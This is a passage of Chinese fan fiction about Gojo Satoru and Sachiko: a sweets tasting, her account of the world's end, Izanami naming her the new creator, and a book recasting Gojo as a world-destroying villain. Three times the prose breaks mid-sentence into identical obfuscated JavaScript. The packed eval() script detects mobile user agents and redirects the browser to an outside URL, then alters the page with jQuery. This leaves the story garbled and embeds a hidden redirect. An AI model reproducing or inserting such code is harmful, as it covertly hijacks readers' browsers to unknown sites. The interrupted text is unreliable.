西的,唯一需要担心的就是排到你的时候卖光了,”幸子侧头露出一个得意的笑容,“不过跟着我的话,一定吃得到啦。” 五条悟微微低头看她:“你是怎么知道这里的?” 幸子回忆了一下:“是喝酒认识的真理子在松屋百货工作的朋友的同事的男朋友恰好是和果子学徒,他推荐的。” 五条悟:“……” 真的假的,这个女人不会又在骗人吧。 幸子倒还记得他的甜点地图:“我看你平时也是吃传统甜点比较多,应该也很有心得吧?” 他移开视线:“我啊,其实吃传统点心比较多只是因为更方便而已,像那些西点不都有奶油或者需要冷冻保存嘛,传统的点心携带起来不麻烦、很多都可以常温保存、而且一两口就可以吃完……” “不要再说下去了!”幸子浮夸地捂住胸口,露出一副难以忍受的神情,“因为这种理由选择吃和果子听起来好惨,想要拯救世界却还没有反派努力,我会很愧疚的!” 五条悟:“感觉愧疚的话就用你觉得最好吃的和果子来招待我吧。” 幸子不说话了,似乎真的思考起了要用什么样的和果子来招待他。 * 他们停在一个老式小店门口,木制推拉门已经打开了,门上悬挂着质感朴实的布帘,旁边还放着一个简朴的石制手水钵。 尽管已经无人在意,幸子依然规规矩矩地蹲下洗了洗手,五条悟则是毫不在意地撩起一团水花,像在玩水一样。 幸子回头无语地扫了他一眼。 撩帘走进小店,柜台旁边就是一个透明的陈列柜,粗粗一眼看过去,里面满满当当地放着好几款和果子。 幸子弯腰去看展示柜里的点心,挡住了五条悟的视线,她轻轻地说:“平时的话,这里会卖一些长销和果子,和一些季节限定的和果子,不过现在倒也无所谓了——” 转过身来的时候,她的手里端着一个黑色的方形小碟,一团像是圆滚滚的水仙花,另一团则是一抹小小的蓝色漩涡。 “如果是你的话,我推荐这两款春日限定,叫做水仙和水暖,只在二月才供应的哦。”她说。 店里有最多只能坐下两个人的小桌子,幸子熟稔地走了过去。 没有了遮挡,五条悟好奇地探头看向展示柜—— 里面哪有什么“长销”和“季节限定”的和果子,摆的都是制作成卡通猪头样式的点心。 标签上还全写着“五条悟”。 “幼稚。”他直起身来,故意说得超大声,一定要让始作俑者听得清清楚楚。 五条大法官判定点心是无罪的,他用咒式把所有的标签都拧成了麻花,转头看过去,嫌疑人幸子在冲他做鬼脸。 他拉开椅子在幸子对面坐下:“很奇怪呢,幸子第一次见到我的时候怕得瑟瑟发抖,怎么现在就完全不害怕了?” “……其实我有一个猜想,”幸子收敛起了不正经的神色,严肃地看着他,“不过,要等你吃完和果子,回答我一个问题,我才可以确定。” 五条悟刚松出的一口气又硬生生憋住了。 “搞什么啊,美食问答节目吗?”他不满地小声嘟囔。 25.老公悟 那两枚精致的和果子似乎只是为五条悟准备的,因为幸子面前摆着一碗精致的冰沙,淡茶色的冰山下面整齐地摆着切成一片片的白桃,旁边零碎地装饰着几个白玉团子。 五条悟抗议:“我也想尝尝这个!” 幸子鄙夷地看他:“你想吃十碗都没有问题好不好,先尝你自己碟子里的。” 五条悟拿起桌上切和果子的杨枝小签,利落地两刀把水仙分成四份。 圆鼓鼓的茶点从中心像开花一般绽放,半透明的外皮下,包着橙黄色的豆沙馅料,让人惊讶的是,切开后竟然还有浓稠的流心,似乎是某种果酱。 “尝尝看?”五条悟邀请幸子。 幸子吃了一大口自己碗里的冰沙,用行动婉拒了。 五条悟挑眉:“真的可以吃吗?不会我们吃了之后就会被变成猪吧。” 幸子嚼着白桃,声音含糊不清,低声吐槽:“你以为在演什么《千与千寻》吗?” 五条悟自己叉了一块送入嘴中,糯米粉制成的外皮清爽弹牙,甜蜜的豆沙内馅入口即化,还带有一点蛋黄的醇香,正当人感觉嘴里的口感有点浓郁厚重的时候,突然尝到了最后酸酸甜甜的味道——是梅子果酱! 非常有层次的丰富口感。 “好吃!”五条悟睁大了眼睛,兴奋得连语气都轻飘飘的,“呀,练切中豆沙、麻薯、蛋黄、糖和水的比例相当优秀呢!即使没有最后的梅子果酱,留在嘴里的口感也相当清爽。” 他又吃了一块,明明是高大的成年男子,却捂着嘴露出了女高中生一样的可爱表情,眼睛闪闪发亮:“真的好吃!感觉被你带去吃三色团子的创伤记忆都被治愈了。” 他说的是在第二个游戏里面,自己被迫变成小团子的事情。 幸子嘟囔:“对你来说应该都是二十年前的事情了,怎么还记得……” 转瞬之间,五条悟已经在吃最后一块:“哇,已经有二十年了吗?感觉还发生在昨天呢,或许是我脑子太好用了吧。” ……怎么还记得这件事啊! 幸子认真回想,她当初只是在他竟然记得自己对着他喊过“奇犽”这件事之后,小小地吐槽了一嘴而已。 没有服务员,幸子笑眯眯地以客套的口吻解说道:“向五条先生推荐这款呢,是因为五条先生很自恋呢,神话中自恋的少年,就被变成了水仙哦。” 五条悟喝了一口茶,因为甜分而喜悦得格外闪亮的蓝色眼睛从杯沿上方睨她。 “唔——”他突然低头看了一眼明明刚刚还冒着热气的茶水,却是意外清爽冰凉的口感。 “是冷泡的玉露茶,消消你的火气。”幸子又在狡黠地笑。 真是的,总是这幅样子,让他感谢的话说不出口,调笑的话也说不出口了。 五条悟的视线移向另一枚和果子。 “这是用琼脂加糖制作成锦玉液,混合起泡的蛋白,最后冷却凝固切成片状做成的。白色夹着染成蓝色的片皮,卷成这个圆形漩涡的形状,中间又另外着色。虽然整体看起来冷冷的,漩涡中央却是温暖的橙黄色,所以是‘水暖’。” 还没品尝,幸子就已经开始解说了。 五条悟夸张地“哇”了一声:“幸子真的懂很多呢。” 幸子得意地笑:“因为很喜欢和这里的师傅聊天嘛。” 五条悟的杨枝还悬在空中,幸子已经把她最终的问题问出了口:“五条悟,你有……爱过什么吗?” 出人意料的古怪问题,让五条悟的手僵在了半空,他困惑地挑眉,放下木签,大大咧咧地往后一靠:“怎么,突然想起要调查老公的过往情史了?放心啦,不会突然冒出来一个小孩要喊你妈妈的。” “不一定是这种爱!”幸子皱起眉头。 五条悟:“你说的爱是什么?” 幸子视线犹犹豫豫地在名为“水暖”的和果子上打转,最后落在橙黄的漩涡中心上:“很广义的那种,就是……把什么在意的东西……放在心里……” 和淡雅的蓝白点心遥相呼应的璀璨蓝眼毫不动摇地直视着幸子,轻松地列举着:“那很多哦,我爱大家,说到吃的东西的话,基本上只要是甜的我都爱,还爱黄油土豆……” “打住,”幸子长叹了一口气,“这下我可以肯定了,五条先生——” 白发男人不满地打断:“都说了不喊老公的话,起码要喊‘悟’。” 幸子:“……” 幸子:“悟,原来……你不是天生的变态反派啊。” 五条悟:“……” 他难以置信地双手撑住桌子,身体前倾:“你的定语有点问题吧!好像在暗示我是什么后天形成的变态一样。” “正是这个意思,”幸子欣然点头,“很有悟性嘛。” 五条悟泄气地往后一靠,抱臂看了幸子好一会儿,才突然开口:“说说看,为什么突然觉得我是后天形成的变态。” “这不是很简单吗?”幸子严肃地推了推她不存在的空气眼镜,“你小的时候那么可爱,长大了一点之后虽然有点烦人,但看起来还算是个好人,一定是后来发生了什么,才让你变成了现在的样子,而非本性如此。” 五条悟:“所以你觉得发生了什么?” 幸子投来一个同情的目光:“咒术师的工作太辛苦了吧,全年无休,压力又大,精神上的疲惫和□□上的疲惫和损耗不一样,不是那么好恢复的——你平时会喝酒吗?” 虽然已经可以料想到说出口之后会收到什么样的回应,但五条悟还是老实地承认:“……不,我完全不能碰酒精。” 幸子露出“果然如此”的目光:“那就是没有一刻从紧张感和疲劳中抽身过咯?所以久而久之,自然就在压抑中爆发,想毁灭世界,创造一个新的、不用加班、遵守劳动法的世界了。” 五条悟:“……” 明明对他而言,也有别的放松方式啊! 但他敏锐地抓住了话语里面的重点:“所以,你认为我是反派的原因,是我想毁灭世界,然后创造一个新的世界?” 气氛诡异地凝滞,一阵沉默之后—— “不,你已经毁灭了。” 幸子抬起头来直视他,神色平静,红褐色的瞳孔暗沉无光,只有无尽的倦怠与虚无。 * 五条悟下巴靠在交叠的双手之上,神情严肃。 他沉思良久,才慎重地开口:“关于这个世界,我最后的记忆非常混乱,老实说我也不敢肯定究竟发生了什么……” 幸子艰难地开口:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15295426|164949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难道你现在想说……毁灭世界是你的无心之举?” “不是,或者说,不完全是。” 五条悟垂眸看向桌面,纤长的睫羽轻轻翕动,语调低沉:“我更想找出解决这一切的办法,当然,我依然不认为是我毁灭了世界。” 他忽然抬眼,碧玺般清澈又透亮的蓝眼直直地望了过来,不遮不掩,不躲不闪。 “简单来说,就像之前我们共同经历的那两个世界,我坚定地认为那是某种术式或者领域,而幸子却认为那一定是游戏一样。而在现在的我看来,其实我们两个人都并未掌握完全的真相。” “人归根结底只能从自己过往的经历和见识中出发去推测当下发生了什么,或许关于这个世界的真相,就藏在我们各自一半的视角之中,只要幸子愿意分享……” 他顿了一下,才继续说下去:“或者说,如果我没猜错的话,幸子现在也只能和我分享,和我一起想办法了。就算是仇敌,也可以短暂合作,更何况我觉得幸子大概也感受到了,善良的我才不是什么会毁灭世界的坏人。” “确实,”幸子赞同地点点头,“虽然之前发现你对影视漫画这些都很了解的时候,我就已经隐隐产生了动摇——没看到喜欢的作品连载完结之前或许是不会去毁灭世界的吧?但是后来想到,也有人可能会因为什么作品烂尾或者结局不合心意而产生毁灭世界的想法……” 五条悟:“……” 幸子话锋一转:“不过……在发现你竟然这么喜欢吃甜食之后,我才想明白这其中一定有什么误解,毕竟吃到好吃甜品会露出那么可爱声音和表情的人怎么可能毁灭世界呢?” 五条悟:“……” ……不,该怎么说呢,这个思考和醒悟的角度,略微有点奇怪吧。 和幸子相处,逐渐理解到了自己随口说着“第一个把黄瓜加进土豆沙拉里的人是史蒂芬·斯皮尔伯格”去逗别人时,别人露出迷茫又困惑表情时的心情了。 但他觉得非常合拍,只是愉悦地双手指向她,用wink发射爱心:“幸子说可爱诶,是心动了吗?啊,可以理解,也是人之常情吧。” 幸子完全无视了他的卖萌,继续说了下去:“要活着才能一直吃到美味的甜品,同时,要‘他人’也活着,才能品尝到更多种多样的,带着温度和爱的作品,体会过这点的人怎么会通过‘比自己武力值强大还是弱小’这种指标去认定谁该死、谁可以活着。更何况——” 她回想了一下刚刚看过的甜点地图:“你的甜点地图上,标了爱心的是喜欢吃的,标了勾是已经去吃过的,标着愤怒表情的是再也不会去吃的,标着旗帜的是还没来得及去品尝的吧?还有那么多旗帜等着,怎么看也不会在这个时候主动去毁灭世界。” 这个女人,原来想看他甜品地图是出于这个考量吗,忽然又显得很深谋远虑、观察细致、推理合理了。 五条悟收回手,神情变得前所未有的认真和专注:“那么,幸子小姐,请跟我讲一讲,你所经历的一切吧。” 幸子瞥了他一眼,眼神中透露着终于可以反击恶心他的得意:“等下,你叫我什么?” 五条悟一顿,竟然毫无心理障碍,非常自如地切换了语调和表情:“老婆~(>口<)~”>)~”> 26.老公悟 这个男人的脸皮,厚得可怕! 幸子带着复杂的心情开口:“世界末日的那一天,我其实一开始毫无察觉……” 五条悟还有心情指指幸子面前的冰沙,示意她给自己也上一份。 幸子瞥了他一眼,无视他继续讲了下去。 五条悟相当郁闷地对着名为水暖的和果子下手了。 不过味道十分惊喜,他的表情一下子就亮了起来。 幸子边回忆边说:“那个时候是十一月底,虽然每天上班都很辛苦,但是想着马上就要圣诞节,有天皇生日假,还有‘年末年始’的小长假可以放……” “你竟然真的是社畜?!”五条悟停下了咀嚼。 “当然是真的啊,骗你干嘛,”幸子白了他一眼,继续说了下去,“那天,可能是由于刚刚放了个勤劳感谢日假期,三日连休的缘故,虽然不记得是熬夜看漫画还是打游戏了,但总之到了工作日生物钟也没有调整过来,差点就睡过头了……” 五条悟:“……” 这家伙上班完全是靠着数假期来记日子的吗? * 2018年11月26日。 床上的幸子猛地睁眼,快速翻身而起,眯着眼睛在枕头旁边摸索手机,突然瞥到了床头的闹钟。 还好,才7:05,还来得及。 6:45的手机闹钟响起之后被她顺手关掉,本以为再闭一会儿眼睛,就能自然醒来,没想到再一次睁眼已经是7:05。 所以才说闹钟就是小型时间穿梭器啊。 她打着哈欠去洗漱。 再一次回到房间的时候,幸子突然感到了一阵强烈的违和感。 怎么说呢,今天,是不是过于安静了一点…… 幸子皱着眉头从枕头下面摸出手机,却在屏幕亮起的一瞬间屏住了呼吸。 还是7:05。 手机比闹钟可靠,原来是闹钟坏了,自己果然只闭了一会儿眼睛,之后就非常自律地自然醒了,不愧是我。 幸子美滋滋地想。 她一边低头刷着手机,一边走到窗子旁边,重复了成千上万次的流程让她不用抬头,顺手就能把窗帘拉开。 但眼睛的余光告诉她窗外不太对劲。 幸子抬起头,做梦似的,看见窗外近处的建筑逼仄了不少,像是要朝她这个方向倒塌下来,街上诡异地空无一人,而天空中,不管是往哪个方向的延展,都是海市蜃楼一般的城市倒影。 她揉了揉眼睛,再次探头往外看。 这次她是真的忘记了呼吸。 天空中没有太阳。 悬在正空中的,是一只巨大的眼睛。 那只巨大的魔眼,在一眨不眨地注视着她,让幸子的后脊发凉。 魔眼放射出的刺眼光芒让她几乎要流出生理性的泪水,她强忍着恐惧,硬着头皮又仔细地看了一眼。 位于魔眼正中心的瞳孔是一颗耀眼的蓝色球体,散发着冰冷的光芒,深邃的蓝色越往外越浅淡,形成几乎是白色的虹膜。 而虹膜之外,本该是眼白的地方,却是一片如血的火红,这一部分像云雾烟尘一般混沌模糊,影影绰绰,像是浮动的阳焰。 看得久了,又不像是眼睛,像是宇宙中的恒星与星云。 “这是,怎么回事?”幸子喃喃自语。 “叮咚——” 门铃声响起。 幸子僵硬地回头,感觉门上猫眼的那个小小圆形孔洞,莫名也像是另一只眼睛,在注视着自己。 “叮咚——” 幸子慢慢从窗子旁边缩了回去,背抵上墙壁,缓缓深呼吸。 “叮咚——” 门外的人倒是很有礼貌,遵循着一种不急不躁的固定节奏在按铃,但也很有耐心,门铃锲而不舍地响着。 幸子在手机上按好报警号码,大拇指悬在通话键之上,攥紧手机的手藏在背后,踮着脚慢慢朝门口走去。 越接近猫眼,她越有一种强烈的被注视感,她甚至怀疑门外的人此刻正把眼睛凑在猫眼上往门内窥视。 尽管如此,她还是屏住呼吸,小心翼翼地用右眼贴近了猫眼,往外看去—— 门口站着两个人。 一位年长丰腴的女性,牵着一个金发小男孩,两人皆是古怪地穿着一身全黑的礼服。 更古怪的是,女人还戴着一个黑色面纱礼帽,绣着蕾丝的面纱遮住了她的脸,只露出一抹黑唇。 幸子狐疑地想,是什么整蛊节目吗? 她眯起眼睛,试图从猫眼变形又局限的视域中,找到隐藏的摄影机。 但她突然呼吸一滞。 她后知后觉地意识到,从她贴近大门开始,门铃声再也没有响起过。 “幸子,”她听见门外传来女人的声音,优雅而舒缓,像是饱满的低音提琴,“你不是想知道发生了什么吗?我们是来为你解答疑惑的。” 幸子迟疑地把左手放在门把手上,右手依然随时准备着拨打报警电话。 “不过,不开门也行,我就直接说了吧——幸子,旧的世界已经毁灭,你是新的创世神。”女人接着说道。 神经病啊! 就算是整蛊节目,未免也太过分了! 幸子在心中破口大骂,手把门用力往自己的方向又拉了拉,确认门紧闭无误,另一只手已经把手机拿到身前,按下通话键。 手机靠到耳边,听筒里传来“嘟——嘟——”的等候音,却久久无法接通。 另一边,门外的声音再次响起:“不相信也没问题,来,跟我一起想, ‘我希望我的面前出现一个苹果’。” 耳朵听着,只是这句话过了一遍脑子。 “啪嗒”一声。 幸子睁大眼睛。 她看见空中凭空出现了一个苹果,苹果随着重力落下,砸破外皮,汁水外溅,空气中开始弥漫着苹果的清香。 真的假的?! 她马上想,那我希望苹果消失。 地上的苹果竟然真就倏地消失不见。 幸子皱眉,怀疑这些都是可以被节目组提前预料到的想法。 于是她平静地想,我希望看到《柯南》完结。 一本漫画真的出现在她的面前。 幸子闭上眼睛,觉得一定是自己疯了,外面的人大概是来接她去疯人院的。 她蹲在地上,把无论如何都无法拨通的手机丢在一边,双手紧紧握住门把,声音颤抖:“……你们,是什么人?有什么目的?” 门外的女人声音依然很冷静:“我是伊邪那美,他是路西法,我们是来给你解释这个世界发生了什么的。” 幸子在心中呐喊:伊邪那美为什么会和路西法在一起啊!完全都不是一个神话体系的好吗! 自称是伊邪那美的女人不紧不慢地讲述着,即使有门的阻隔,声音中优雅低沉的魅力依然不减:“你所生活的旧世界在失衡的强大力量支配下已经逐渐走向混沌,为了拯救世界,我让它回归母体重生,简而言之,世界转生了,旧的世界已经死亡,坍缩成为孕育着新世界可能性的原初球体,即‘受胎’,这个世界的中心是那颗光球,那是驱动所有事物力量的根源,你也可以将其视作我的孩子——火神伽具土。” 城市出现在空中和地平线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15297338|164949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的远方……地球像是内外翻转,世界被原先的地表包裹住……空中的魔眼…… 幸子刚刚从窗户所看见的世界,和她的描述分毫不差。 她有些迟疑地想把门打开。 不过女子也不在意,似乎真的只是作为前辈,来负责为新神解说现状,继续说了下去:“我会和路西法在一起,是因为我们暂时利益一致,作为女神的我,早在千万年前生育火神迦具土时被火烧死,历经千百次转世,力量已经非常微弱,所以借用了路西法的力量来使世界转生,而路西法则在寻找能反抗绝对意志的潜力,他认为这一力量可能会在世界受胎的混沌之时诞生。” 幸子似乎听见小男孩冷哼了一声。 她困惑地问:“什么是绝对意志?” 女人早有准备似的开口:“即神在创世之时所制定的绝对秩序,比如‘平衡’——善与恶、阴与阳……因为绝对意志的存在,邪恶越强大,正义也就越强大,所以路西法想打破这个秩序。” 她无奈地停顿:“……我说了,我们只是短暂地利益一致——我需要他的力量来保护世界不走向最终的毁灭和虚无,他需要在世界混沌和孕育着一切可能性的时候寻找可以打破绝对秩序力量。” 小男孩终于开口,即使声音稚嫩,也能听出不可一世的狂妄:“这个世界没有这种潜能,我们可以走了。” “稍等,”女人的声音坚定又温柔,“我必须交代清楚这个世界所发生的一切,这是新神的命令。” 有女神撑腰,幸子莫名地感到扬眉吐气。 伊邪那美开口:“绝对意志还规定了许多必须相互依存的存在,比如力量与意志,存在与意识……就目前这个以受胎形态存在的世界而言,驱动万物的力量源泉其实曾经是一个强大无比的人类,但他的心里一片虚无,连真理都尚未萌芽,所以只有力量存在的世界只会是无尽的混沌。就像需要精子和卵子结合才能诞生出胚胎,新世界的诞生需要创世力量和创世理念的结合——所以你就被选为了新世界的意志。” 幸子神奇地以自己的工作理解了这个过程——时代变了,创世也需要分工合作,就像是制作游戏的时候,策划提出需求,交由美术和程序去实现…… 这么说来,她就是那个倒霉策划。 ……太倒霉了,她郁闷地想,忍不住问出了口:“为什么是我?” “我不知道。” 不愧是上古的女神,连承认自己无知的语调都非常沉稳可靠。 伊邪那美推断道:“正常情况下,世界毁灭之时,会有一个‘方舟’作为安全点,在方舟之内的人可以幸存,然后他们作为开启下个世界的创世者,展开对于创世之真理的战争。然而……这个世界毁灭得太突然,我也不清楚为什么只有你幸存了下来,或许是你和我之间有着某种联系,或许只是出于命运的偶然,或许是‘迦具土’即世界力量源泉自己的选择……但你要清楚,不管是创造还是毁灭,所有的力量都只会来源于祂,也只能来源于祂,麻烦的是,因为生前是人类的缘故,这个世界的‘迦具土’似乎也有着自己的意志,这或许会和你的真理产生冲突……” 幸子皱起眉头:“什么意思?那迦具土作为人类,又是怎么变成这样的?” 她站起身来,想打开门和她好好聊聊。 但大门打开,走廊空无一人。 空中回荡着女神的余音:“你慢慢就会发现他和你意志的矛盾,至于这个世界发生了什么,我不能说得太多,世界的真相都写在我留给你的这本书里。” 搞什么啊,神神秘秘的。 然而幸子低头看去,地上确实放着一本书。 27.老公悟 幸子捡起书本走回房间,花了一整天来阅读。 在这本书中,记叙了五条悟罪恶的一生,从他的童年一直到旧世界的终点,不重要的细节被简要略过,占篇幅最多的是其成年之后的所作所为。 故事的结局完美契合现实,向她解释了当下这个怪异的世界是如何形成的。 * 故事的主角五条悟出生在一个没落的贵族家庭之中。 但五条家底殷实,即使没落了也依然在御三家之列,而带有六眼这一数百年难遇的天赋体质,可以完美使用无下限术式的五条悟,则是他们复兴的希望。 于是五条悟从小就被过分地溺爱,这助长了他无法无天、肆意妄为的性格,也让他心中没有善恶的准则,做事只凭自己的喜好判断。 很快五条悟就对这什么都能得到,一切欲望都能被满足的生活感到厌倦,离开家去往东京都立咒术高等专门学校读书,想要寻找新的刺激。 以最凶残的手段祓除诅咒,把它们碾成看不出原型的碎片与烂泥,也不能平复他心中的空虚。 强大且无所不能的他渴望刺激,而世界也不过被他视为一个解闷的玩具。 他得知负责维护加强全日本结界的天元大人需要同化星浆体来维持不死之身,于是他策划破坏这次同化,搅乱全日本的结界,放出被封印在日本各处的、强大的远古诅咒来满足他的战斗欲。 伏黑甚尔是一个因为没有咒力而被家族轻视抛弃的可怜人,但他不屈不挠,发挥出完全零咒力却五感和□□强度超乎常人的天与咒缚的强大实力。 他通过地下情报得知阻碍星浆体同化的计划,并在追查中意外发现一切的策划者是五条悟。 尽管一直遭到家族和世界的恶意,他依然有一颗伟大的正义之心,带着特制咒具天逆鉾出手阻止五条悟,依靠实力与智谋成功击败他了一瞬—— 却让五条悟因此觉醒了无限自我修复的反转术式,变成了不需要冷却的战斗永动机,反杀甚尔,狂妄地说出:“天上天下,唯我独尊。” 五条悟成功让天元的同化失败了。 但是同化失败的天元依旧可以支撑很长一段时间的结界,五条悟的计划终究没有成功。 五条悟把这次行为掩饰得很好,仿佛一切都归咎于伏黑甚尔被金钱所驱使,来阻止天元同化,而他,不过是没能阻止甚尔罢了。 从表面上看,他只是一个被宠坏的大少爷,依然会听从高专的安排,履行咒术师的职责。尽管如此,在学校期间,他的恶劣性格和对他人的漠视已经隐隐约约可见端倪。 ——他目无尊长,祓除手段极其残忍,也从不在意对普通人造成的影响。 ——他霸凌咒力低下的同学:“你别干咒术师了,一点用处都派不上,敢说个不字就巴掌伺候。” ——他会欺负女生还恶劣嘲笑:“你在哭吗?” 同期的两个人,拥有治疗天赋的硝子被他借用上层的力量软禁在高专之内,几乎成为他的专属血包,逐渐变成放弃思考、了无生气的麻木工具。 而察觉到他邪恶面目的夏油杰试图劝说他回归正途,则被他嗤笑“我最讨厌正论”。 他和夏油杰大战一场之后,将一切损失和平民的伤亡栽赃陷害给普通家庭出生、在咒术界毫无根基的夏油杰,让他被迫“叛逃”。 五条悟很快凭借过人的实力成为高专的老师,但这也只是为了满足他变态的战斗欲—— 即挑选强悍聪明、有天赋匹敌他的学生,悉心培养,在他们成熟之后当做果实摘下,期待着可以收获一场酣畅淋漓的战斗。 从拥有过怨咒灵里香的乙骨忧太到曾经击败过他的伏黑甚尔的儿子再到有望成为新一代天与咒缚的禅院真希,只要是有潜力的幼苗,他都悉数保护在自己麾下,毫无保留地教授他们战斗的技巧。 他们崇敬他,信赖他,拥护他,俨然已组成一股可以动摇咒术界的核心力量,自上而下渗透进每一丝缝隙之中,咒术界的一切法规都形同虚设,五条悟才是真正的掌权者。 但他只觉得可笑。 得到的越多,世界就越无聊。 已经是无可置疑现代最强咒术师的五条悟依然毫不满足,能让他感到“兴奋”与“有趣”的阈值不断提高,他的灵魂每一天都在叫嚣着孤独。 因为他什么欲望都会被满足,因为他无人可敌,因为他是最强,站在一切的顶端,拥有一切,他没有经历过匮乏,但他依然觉得空虚,饱足的欲望就像沉滞的死水,一天天地腐坏下去。 神明赐予他一切,却成为另一种形式的剥夺。 另一个邪恶的诅咒师羂索和他一拍即合,他们将世界视为游戏,把大量改造人和咒灵投入人流量最大的地铁站,无数普通人因此殒命——只为了让五条悟玩一场真人“捡豆子”游戏,试验自己咒力的精度与极限。 同时,夏油杰即使蒙冤被追杀,也依旧心系咒术界与人类大义。 他一直蛰伏并且寻找打败五条悟的方法,并在此时伺机出动,带着强大的特级咒物狱门疆尝试封印五条悟——只要五条悟想起一瞬他们青春的共同时光,封印就可以成功。 令他绝望的是,五条悟只是用如淬寒冰的双眼,平静无波又深不可测地看着他,让他察觉到自己竟然会认为自己可以在他的记忆里留下一抹痕迹,这是多么天真可笑的想法。 夏油杰被五条悟用狱门疆封印。 五条悟和羂索仍不满足,他们要把日本变成一个巨大的游戏场,将大量普通人转化为咒术师,以发掘有天赋的强者,并且携手复活历史上强大的咒术师们。 这些,都只不过是为了让五条悟玩一场真人“大乱斗”游戏。 他们还要促进全日本人和天元的融合,制造出一个最强咒灵,来让五条悟挑战自己战斗的极限。 为此五条悟还杀死了自己曾经的同期夏油杰,让羂索占据他的身体,以使用夏油杰的咒灵操术。 夏油杰的死亡终于让硝子觉醒,她决心不再麻木地被五条悟控制,而是选择说出她所目睹的真相,并且和学生们并肩战斗。 在这最终的时刻,五条悟一直伪装掩饰的邪恶面目才终于暴露在世人面前。 但是五条悟完全不顾昔日的同窗情谊以及硝子多年来的治疗和陪伴,第一个杀掉她,只为了激化学生们的愤怒。 宿傩是平安朝时期被人们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15307889|164949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崇敬的,近神的存在,他被视作阻止五条悟的希望。 在五条悟的放任和暗中支持下,学生们为了恢复宿傩全盛的力量,收集齐了宿傩的手指和肉身,组成他的完全体。 甚至为了让他变得更强,五条悟的学生伏黑惠自我献祭成为宿傩的受□□,让宿傩可以使用十种影法术,召唤遇强则强、可以优化适应所有咒术的魔虚罗。 然而宿傩也在苦战之后被五条悟打败。 即使五条悟罪恶深重,依然有试图拯救他灵魂的学生,虎杖悠仁。 他的领域可以止戈戢武,触及人的灵魂,深入沟通。 但虎杖却发现这里是完全的空无。 五条悟并不仇恨这个世界,也就无从谈起被感化和拯救,他只是心中空无一物,只追求快感。 各怀心思的远古咒术师们和终于醒悟的五条悟学生们联手轮番上阵,也无法击败他,全部都在五条悟漠然又轻视的目光中,痛苦地死亡。 他无情地踏过那些尸体,那些曾经如此崇敬又信赖他的学生和同僚,那些艰难涉过时间的长河来挑战他的人,不曾低头看过一眼,脸上只有不屑一顾的冷笑,像终古不化的蓝色冰川。 依然没有人可以和他同行。 五条悟甚至真心觉得,他们能死在他的手下,是他们的幸运,比起死亡,无聊的人生更可怕,他们应该感激他——在死前向他们展示了什么是真正的强大和完美。 他们一定都是无悔的死亡。 五条悟是如此地空虚和冷漠,只有在战斗的快感席卷而来,和自己被逼入濒死绝境的时候,才会带上癫狂的笑意。 全体日本人和天元融合而成的巨大咒灵差点将他打败了,但依然在最后一刻被五条悟剖腹而出,他再一次突破自我,觉醒终极技能——空间与时间,都成为他强大力量可以扭曲控制的玩具,世间再无他办不到的事情。 新的神从被他自己毁灭的世界中诞生。 五条悟带着满脸血迹,睁着充血的邪蓝双目,目眦欲裂,仰天爆发出一阵狂妄的大笑。 活着的意义依然悬挂在遥远的、触不可及的地方,但他想不出一个去索求的理由,富足与强大撑不满他被反复刮空的内心。 绝对的强者,高处不胜寒的孤独,他拥有整个世界,却没有哪怕一朵花、一片树叶在他心里留下过痕迹。 但他没有渴望,所以也没有痛苦。 故事的结局是,无人可挡、泯灭人性的五条悟,在杀光所有人以及融合咒灵之后,面对着走向虚无的废土,百无聊赖地,觉得这个被不知名神明创造出来的世界真是无聊透顶,不如毁灭了一切。 他释放出全部的咒力,想要和这个世界同归于尽。 但强大的能量并未摧毁任何东西,只是让世界以他为中心开始坍缩。 地球内外倒转,形成一个空心球体,而这一空心球体的正中,是已经化为纯粹能量体、蓝色恒星一般的五条悟。 * 五条悟:“……” 连甜品都无心再吃了,越听,他眉心的“川”字越来越深,直至露出他此生最难以置信的表情,眯起眼睛看着幸子—— “哈?” 28.老公悟 眼前的五条悟摆着一张臭脸,恶狠狠地咬着牙,鼻梁皱出微小的纹路,让幸子无端想起之前炸毛的小团子。 “你在生气?”幸子挺了挺背,努力想用一个严肃的表情和语调应对当下的情景。 很明显,眼前男人和毛茸茸小团子的相似度让她失败了,她的肌肉抽搐,似笑非笑,反而更让五条悟恼火。 “不,”他果断否认,“嗤”地重重笑了一声,“离谱到了这种程度,与其说是生气,不如说是想笑——” 五条悟鄙夷地对着幸子翻了个白眼:“这竟然都能骗到你。” “怎么能说骗呢,很高级的春秋笔法啊,对你悲惨的社畜生活隐去不谈,只写你最后是怎么变态的,毕竟最高级的谎言就是全说实话。而且全书基本都是又臭又长的战斗描写,一不小心就快速翻过去了,搞不好就这么错过了一些关键信息……”幸子振振有词,一副深有感悟的样子。 